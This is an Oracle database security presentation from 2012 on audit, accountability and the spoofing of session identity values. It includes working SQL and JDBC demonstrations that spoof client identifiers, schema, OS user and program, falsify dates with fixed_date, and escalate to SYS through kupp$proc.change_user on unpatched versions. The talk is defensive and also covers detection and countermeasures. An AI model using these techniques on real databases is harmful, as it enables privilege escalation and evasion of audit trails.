Oracle Database Security

Identifying Yourself In The Database

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Legal Notice

Oracle Database Security Presentation

Published by
PeteFinnigan.com Limited
9 Beech Grove
Acomb
York
England, YO26 5LD

Copyright © 2012 by PeteFinnigan.com Limited

No part of this publication may be stored in a retrieval system, reproduced or transmitted in any form by any means, electronic, mechanical, photocopying, scanning, recording, or otherwise except as permitted by local statutory law, without the prior written permission of the publisher. In particular this material may not be used to provide training or presentations of any type or method. This material may not be translated into any other language or used in any translated form to provide training or presentations. Requests for permission should be addressed to the above registered address of PeteFinnigan.com Limited in writing.

Limit of Liability / Disclaimer of warranty. This information contained in this material is distributed on an “as-is” basis without warranty.
Whilst every precaution has been taken in the preparation of this material, neither the author nor the publisher shall have any liability to any person or entity with respect to any loss or damage caused or alleged to be caused directly or indirectly by the instructions or guidance contained within this course.

TradeMarks. Many of the designations used by manufacturers and resellers to distinguish their products are claimed as trademarks. Linux is a trademark of Linus Torvalds, Oracle is a trademark of Oracle Corporation. All other trademarks are the property of their respective owners. All other product names or services identified throughout the material are used in an editorial fashion only and for the benefit of such companies with no intention of infringement of the trademark. No such use, or the use of any trade name, is intended to convey endorsement or other affiliation with this material.

Agenda

- What is “identity theft
- Identity at the database level
- Accountability
- Database Identity spoofing
- Detecting spoofing
- Preventing identity theft in the database

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Identity Theft

- 54,100,000 results in Google search for "**Identity Theft**"!
- Identity theft is a crime!
- Someone pretends to be someone else and uses their identity
- First coined in 1964 – So an "old issue"
- Usually to gain access to someone else's resources or to gain benefits as someone else

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Identity Theft In the Database

- Not really the same as in the news? ... **but really it is**
- Someone could pretend to be a DBA
- Someone could pretend to be a business user
- Someone could steal or gain access to someone else's resources or credit
- For example: "***I could as an employee of a company apply for a loan in someone else's name and then channel the payout check to my house but make sure the original victim makes the payments every month***"
- It is also a "database" level issue not just a "people" level issue, people use databases

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Database Accountability

- What sort of accountability is possible in the database?
  - Core Audit
  - Fine Grained Audit (FGA)
  - Trigger based audit for DML
  - System triggers
  - Redo / streams / CDC
  - Listener logging
  - SYSDBA core audit
  - SYSDBA trace
  - Application trace
  - ...
- Lots of possibilities / Correlation also possible

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Accountability / Identity?

- As you may have guessed; accountability is not useful without “identity”
- Accountability is making sure each persons actions are accountable to them
- Theft or masquerading is possible if you can be someone else in the database
- In other words let the database think you are someone else
- Knowing the masquerade took place is not possible without accountability or “Audit” or at least very transient session data

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Default Situation in the database NOW

- Simple core audit in 10gR2, 11gR1 / R2
- Listener log – turned on by default in 10 and11g
- Core SYSDBA connection audit is on by default
  - Trace files on Unix
  - Event Log entries on Windows
- Redo Logs always available; not necessarily archivea
- But these features are not accountability – to achieve that we need:
  - A log or Audit or trace With
  - Attribution back to real people
  - In other words a complete solution

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

What is Actually Available?

- On the surface:
  - 9i – No real accountability – not supported anyway!!
  - 10g – incredibly limited
  - 11g Slightly better but only because of Audit vault
- Actual accountability when layered onto audit is not good
  - Limited session values
  - Not all of the session is written to the audit trail anyway
  - Possible to write session values but we must do it manually
- What is possible if we use core audit features?
- The message:- "**Audit and accountability is our job; We must design it like any other feature of our systems**"

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Higher Level Summary Of Now

- General lack of accountability in the database
  - Some audit by default – situation is changing
  - Oracle identity products (don't see many using), secerno..
- No standard reports (audit)
- No audit management built in
  - Changing now dbms_audit_mgmt is here but again basic
  - Supports archive/purge/clean
  - Moving in right direction but maybe because of audit vault?
- No Privileged audit by default
- **If audit is enabled then some better options for accountability exits**

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Example – Listener Log

Can correlate records – in this case using time

This is the only place we have the full client "program" "path/name"

- A number of possible log entry formats
- 11gR1 has XML log as well
- Very Limited details – database user not always shown

```
C:\>sqlplus system/oracle1@ora11gpe
...{gives}...
24-NOV-2012 16:11:49 *
  (CONNECT_DATA=(SERVER=DEDICATED)(SERVICE_N
  AME=ora11gpe)(CID=(PROGRAM=C:\odc\product\
  11.1.0\client 1\sqlplus.exe)(HOST=ORACLE-
  HACK-BOX)(USER=Pete))) *
  (ADDRESS=(PROTOCOL=tcp)(HOST=127.0.0.1)(PO
  RT=7240)) * establish * ora11gpe * 0
```

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

A lot of details but not that many useful details for accountability directly

SQL id's may be useful if used in a session

Rows removed to make it fit on one slide

Session Details

```
SQL> exec print_table('select * from v$session where sid = (select distinct
   sid from v$mystat)');
AUDSID                        : 1852215
USERNAME                      : SYSTEM
SCHEMANAME                    : SYSTEM
OSUSER                        : Pete
MACHINE                       : WORKGROUP\ORACLE-HACK-BOX
TERMINAL                      : ORACLE-HACK-BOX
PROGRAM                       : sqlplus.exe
TYPE                          : USER
SQL_EXEC_START                : 24-nov-2012 17:01:52
MODULE                        : SQL*Plus
ACTION                        :
CLIENT_INFO                   :
LOGON_TIME                    : 24-nov-2012 16:11:49
CLIENT_IDENTIFIER             :
SERVICE_NAME                  : ora11gpe
```

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Session Details Using SYS_CONTEXT

```
SQL> @check_2
User                        :SYSTEM
Username                    :SYSTEM
Current User                :SYSTEM
Session User                :SYSTEM
Proxy  User                 :
Action                      :
SessionID                   :1852215
Client Identifier           :
Client Info                 :
Entry ID                    :
Host                        :WORKGROUP\ORACLE-HACK-BOX
IP Address                  :127.0.0.1
Module                      :SQL*Plus
Terminal                    :ORACLE-HACK-BOX
OS User                     :Pete
-------------------------------
```

SYS_CONTEXT is a convenience for selecting session values.

Most values can be selected from v$session anyway.

BUT SOME like IP Address are not directly available

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

I will put this on my site

Check_2.sql – For Information

check_2 - Notepad

File Edit Format View Help

```
declare
        cursor c_main is
        select  user,
                username,
                sys_context('USERENV','CURRENT_USER') curr,
                sys_context('USERENV','SESSION_USER') sess,
                sys_context('USERENV','CURRENT_SCHEMA') curs,
                sys_context('USERENV','PROXY_USER') prox,
                sys_context('USERENV','ACTION') act,
                sys_context('USERENV','SESSIONID') sessid,
                sys_context('USERENV','CLIENT_IDENTIFIER') cli,
                sys_context('USERENV','CLIENT_INFO') clif,
                sys_context('USERENV','ENTRYID') entid,
                sys_context('USERENV','HOST') host,
                sys_context('USERENV','IP_ADDRESS') ipd,
                sys_context('USERENV','MODULE') module,
                sys_context('USERENV','TERMINAL') term,
                sys_context('USERENV','OS_USER') os
        from user_users;
begin
        for lv_main in c_main loop
                dbms_output.put_line('User                          :'||lv_main.user);
                dbms_output.put_line('Username              :'||lv_main.username);
                dbms_output.put_line('Current User                  :'||lv_main.curr);
                dbms_output.put_line('Session User                  :'||lv_main.sess);
                dbms_output.put_line('Proxy  User                   :'||lv_main.prox);
                dbms_output.put_line('Action                        :'||lv_main.act);
                dbms_output.put_line('SessionID             :'||lv_main.sessid);
                dbms_output.put_line('Client Identifier             :'||lv_main.cli);
                dbms_output.put_line('Client Info           :'||lv_main.clif);
                dbms_output.put_line('Entry ID                      :'||lv_main.entid);
                dbms_output.put_line('Host                          :'||lv_main.host);
                dbms_output.put_line('IP Address                    :'||lv_main.ipd);
                dbms_output.put_line('Module                        :'||lv_main.module);
                dbms_output.put_line('Terminal              :'||lv_main.term);
                dbms_output.put_line('OS User               :'||lv_main.os);
        end loop;
        dbms_output.put_line('--------------------------------');
end;
/
```

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Core Audit in AUD$

Audit is set to the “DB” as default; OS user is in spare1,

Privilege used and action# can be converted or DBA_AUDIT_TRAIL used instead

The stark lack of accountability is striking!!!

C:\Windows\system32\cmd.exe - sqlplus system/oracle1@ora11gpe

```
SQL> exec print_table('select * from sys.aud
SESSIONID                     : 1852215
ENTRYID                       : 1
STATEMENT                     : 1
TIMESTAMP#                    :
USERID                        : SYSTEM
USERHOST                      : WORKGROUP\ORACLE-HACK-BOX
TERMINAL                      : ORACLE-HACK-BOX
ACTION#                       : 100
RETURNCODE                    : 0
OBJ$CREATOR                   :
OBJ$NAME                      :
AUTH$PRIVILEGES               :
AUTH$GRANTEE                  :
NEW$OWNER                     :
NEW$NAME                      :
SES$ACTIONS                   :
SES$TID                       :
LOGOFF$LREAD                  :
LOGOFF$PREAD                  :
LOGOFF$LWRITE                 :
LOGOFF$DEAD                   :
LOGOFF$TIME                   :
COMMENT$TEXT                  : Authenticated by: DATABASE; Client address:
(ADDRESS=(PROTOCOL=tcp)(HOST=127.0.0.1)(PORT=9019))
CLIENTID                      :
SPARE1                        : Pete
SPARE2                        :
OBJ$LABEL                     :
SES$LABEL                     :
PRIV$USED                     : 5
SESSIONCPU                    :
NTIMESTAMP#                   : 24-NOV-10 17.16.23.248000
PROXY$SID                     :
USER$GUID                     :
INSTANCE#                     : 0
PROCESS#                      : 6012:6356
XID                           : 0000000000000000
AUDITID                       :
SCN                           :
DBID                          : 408324179
SQLBIND                       :
SQLTEXT                       :
OBJ$EDITION                   :
-----------------
```

SYSDBA Trace

These trace files are written to the OS because audit cannot be written for database startup and shutdown to the database

Also helps with separation

- Fixed format trace files
- Core trace cannot be turned off
- Records user, os user, terminal etc
- Not many people in my experience look at them
- Files cycle based on PID (on Unix) – performance bugs on some platforms
- SYSDBA trace – audit_sys_operations – can be written here also

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Other Sources of Data

- The Alert Log contains information at the system level
- Trace files can include:
  - Action
  - Module
  - Client_ID
  - Session ID
- And of course data in the form of binds or in static SQL
- Structure in the form of table and code

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Other Sources Of Data (2)

The SID and SERIAL are not preserved in the audit trail

We could save them with a logon trigger

Time based correlation can be used.

```
SQL> alter session set events '10046 trace name cont
Session altered.
...
SQL> alter session set events '10046 trace name cont
Session altered.
```

```
*** 2012-11-24 19:50:53.116
*** SESSION ID:(142.347) 2012-11-24 19:50:53.116
*** CLIENT ID:() 2012-11-24 19:50:53.116
*** SERVICE NAME:(ora11gpe) 2012-11-24 19:50:53.116
*** MODULE NAME:(SQL*Plus) 2012-11-24 19:50:53.116
*** ACTION NAME:() 2012-11-24 19:50:53.116
```

```
SQL> exec print_table('select * from v$session where sid=(select distinct sid from v$mystat)');
SADDR                         : 2F0E3D30
SID                           : 142
SERIAL#                       : 347
AUDSID                        : 1852215
```

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Issues And Discrepancies

- Obvious things are missing in the Core Audit
  - Action, Module
  - Program
  - Sid, Serial
- Some things are there though
  - Session value can be used to correlate to other audit
  - SESSIONID, AUDSID
- **There is a lack of depth to identity; very little to go on**
- What is obvious is that we need to use alternate audit to get more details
- Some detail is only available in the comment text of the audit trail

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Customising Identity

- We can customise identity
- Interestingly after logon and during logon (depending on the API used)
  - Client Info can be set
  - Client identifier can be set
  - Module can be set
  - Action can be set
  - Custom contexts can be created
  - We can use data values
  - Indeed we can use anything selectable from the database
- Customising before logon seems better... BUT....

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Customising Identity Example

```
SQL> select client_identifier from v$session
  2  where sid=(select distinct sid from v$mystat);

CLIENT_IDENTIFIER
----------------------------------------------------------------

SQL> exec dbms_session.set_identifier('Hack the planet!');

PL/SQL procedure successfully completed.
SQL> select client_identifier from v$session
  2  where sid=(select distinct sid from v$mystat);

CLIENT_IDENTIFIER
----------------------------------------------------------------
Hack the planet!
```

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Customising Identity Example (2)

```
SQL> select sys_context('USERENV','SESSIONID') from dual;

SYS_CONTEXT('USERENV','SESSIONID')
----------------------------------------------------------------
1854567

SQL> alter user orascan identified by orascan;

User altered.
SQL> select client_id from dba_audit_trail
  2  where sessionid=1854567;

CLIENT_ID
--------------------------------------------------

Hack the planet!
```

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Customising Identity

- The other main session values that can be customised easily through the SQL Interface are
- Action – DBMS_APPLICATION_INFO.SET_ACTION(‘Action Name’)
- Module – DBMS_APPLICATION_INFO.SET_MODULE(‘Module Name’,’Action Name’)
- Client Info – DBMS_APPLICATION_INFO.SET_CLIENT_INFO(‘Client Info Text’);
- **BUT; these do not permeate to the Core Audit trail**

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Core Audit

- Core audit from an identity point of view doesn't provide enough – **recurring message !!!**
- We need to provide the additional information ourselves
- Like lots of data security implementation tasks it is the customers job to design and implement the security
  - This includes technical security controls
  - Audit trail design and reports
  - Identity requirements
  - We have limited options though with just core audit
- Just like designing screens, tables, views we have to design security as well

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Application Contexts/ Secure App Roles

- Often used for controlling access and for controlling policies in VPD, FGA, LBAC, Audit
- The context or the role often provides additional security **BUT** often uses core values to control its enablement

```
Create role my_role using orablog.role_admin;
...
If(sys_context('USERENV','IP_ADDRESS') = 192.168.254.2) then
   dbms_session.set_role('MY_ROLE');
....

Create context my_con using orablog.init_con;
...
If(sys_context('USERENV','PROGRAM')='sqlplus') then
   dbms_session.set_context('MY_CON','app_role','Manager');
...
```

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

The Bad News!

- Almost all context/session values can be spoofed either in
  - The session
  - Sys_context
  - AUD$
  - Trace files
  - Listener logs
  - ...
- Some things are easy to spoof
  - Identifier – DBMS_SESSION
  - Module, Action, Info – DBMS_APPLICATION_INFO

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Spoofing

- Some a little harder, but not much

```
SQL> alter session set current_schema = scott;
Session altered.
SQL> select schemaname from v$session
  2  where sid=(select distinct sid from v$mystat);

SCHEMANAME
------------------------------
SCOTT

SQL> select sys_context('USERENV','CURRENT_SCHEMA') from dual;

SYS_CONTEXT('USERENV','CURRENT_SCHEMA')
----------------------------------------------------------------
SCOTT
```

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Other ways to do this on patched databases

Spoofing (2)

- Some even harder (needs privileges) – works on un-patched 11.1.0.6 (and other un-patched versions) – as a user with IMP_FULL_DATABASE

```
SQL> connect importer/importer@ora11gpe
Connected.
SQL> @check
USER       USERNAME   CURR       SESS       SCHEM
---------- ---------- ---------- ---------- --------
IMPORTER   IMPORTER   IMPORTER   IMPORTER   IMPORTER

SQL> exec sys.kupp$proc.change_user('SYS');
BEGIN sys.kupp$proc.change_user('SYS'); END;
SQL> @check
USER       USERNAME   CURR       SESS       SCHEM
---------- ---------- ---------- ---------- --------
SYS        SYS        SYS        SYS        SYS
```

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Spoofing (3)

- Most of the rest of the fields need programming skills to spoof or use of a network proxy where relevant
- It has been written that the only values in session, AUD$ and FGA_LOG$ that are completely reliable are the database USERNAME – http://*www.integrigy.com/security-resources/analysis/Integrigy_**Spoofing**_Oracle_Session_Information.pdf*
- As we saw this is not true because BECOME USER can be used on non-patched systems BUT can be audited
- IP address is harder to spoof but not impossible
- JDBC is the easiest to use to spoof values
- OCI is harder and has less flexibility

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Spoofing (4)

- Most of the core values such as
  - OS User
  - Process ID
  - Terminal
  - Program
  - Machine
- Can be spoofed easily using a thin Java client
- **Therefore they are not reliable to specify identity**

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Spoofing (5)

```
C:\>java DBC jdbc:oracle:thin:@127.0.0.1:1521:ora11gpe orascan orascan 1 0

SQL*Client : Version 0.1 Very Alpha

Copyright (c) 2012 PeteFinnigan.com Limited All Rights Reserved

SQL> set program "My Client" ;
SQL> set osuser "Oracle" ;
SQL> connect ;
...
SQL> exec print_table('select osuser,module,program from v$session where
   audsid=1856376');
OSUSER                        : Oracle
MODULE                        : My Client
PROGRAM                       : My Client
-----------------
```

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Spoofing (6)

```
SQL> select spare1 from sys.aud$ where sessionid=1856376;

SPARE1
------------------------------------------------------------
Oracle

SQL>
```

- The only values making it through to the audit trail is OS USER – set here to “Oracle” and held in Spare 1
- With the 11.2 JDBC driver it can be started with a property –Doracle.jdbc.v$session.osuser=...

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Spoofing (7)

- Even dates can be spoofed by setting the initialisation parameter fixed_date
- This can be set with ALTER SYSTEM
- The session would show the same date/time always
- The Audit trail will show the same date/time
- The logon would also show the same date time
- If audit were enabled on ALTER SYSTEM this would be caught
- **Or the hacker can change dates when he wishes**

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Spoofing Summary

- A small set of values can be spoofed easily via Java
- Other customisable values are easier to spoof with any client
- Security (Logon Triggers, FGA policies, VPD, OLS, Secure Contexts, Secure Application roles...) often rely on session values
- Session values are often central to security
- These values cannot be trusted, therefore security is compromised as are audit trails (potentially)

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Solutions?

- Each client needs to set a unique value(s) to specify identity
- Don't control via spoofable values or at least not a set of spoofable values
- Use application level data? – issues?
- Proxy users currently cannot be spoofed – so use them
- Maybe use a handshake approach
  - Ask the database for a unique value
  - Process it – encrypt / hash / PKI – (no simple PKI in PL/SQL available, can be done in Java or C)
  - Send it to the database as client_id
  - Database can "know" the real value
  - Issues – predictable?, interceptable?
  - It's a hard issue to solve

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Can We Detect Spoofing?

- The “Pinnacle” – detect spoofing?
- It is not easy BUT “no one” in real terms is probably spoofing your database.....OR are they? – would you know
- If anyone did spoof you well; they would take whatever they needed from your databases
- Detecting:
  - Check all records in a session for changed values in that session
  - some values will be set after logon – CLIENT ID
  - Some actions will be detected if audited – BECOME USER
  - Time analysis
  - Usage analysis – resource effort profile – anomalies?

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Conclusions

- Spoofing of session values is easy even without extra access
- Spoofing of application or unique values is only easy if access is available via other users
- Layered design seems sensible
  - Layered controls
  - Layered Audit
  - Don’t rely on core session values
  - Correlate different sources
- Correct the basics first
  - Reduce access to the database and data

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Questions?

Any Final Questions?

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

References

- Steve Kost – "Spoofing Oracle Session Information" - http://*www.integrigy.com/security-resources/analysis/Integrigy_**Spoofing**_Oracle_Session_Information.pdf* - *2006*
- Pete Finnigan – http://www.petefinnigan.com/weblog/archives/00001313.htm - March 2012
- Pete Finnigan - http://www.petefinnigan.com/weblog/archives/00000064.htm November 2004
- Pete Finnigan - http://www.petefinnigan.com/weblog/archives/00001275.htm October 2009
- Pete Finnigan – fixed date - http://www.pentest.co.uk/documents/fixed-date.htm October 2001

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com

Oracle Database Security

Identifying Yourself In The Database

© Copyright 2012 PeteFinnigan.com Limited. All rights reserved. Tel 0044 (0) 7759277220, http://www.petefinnigan.com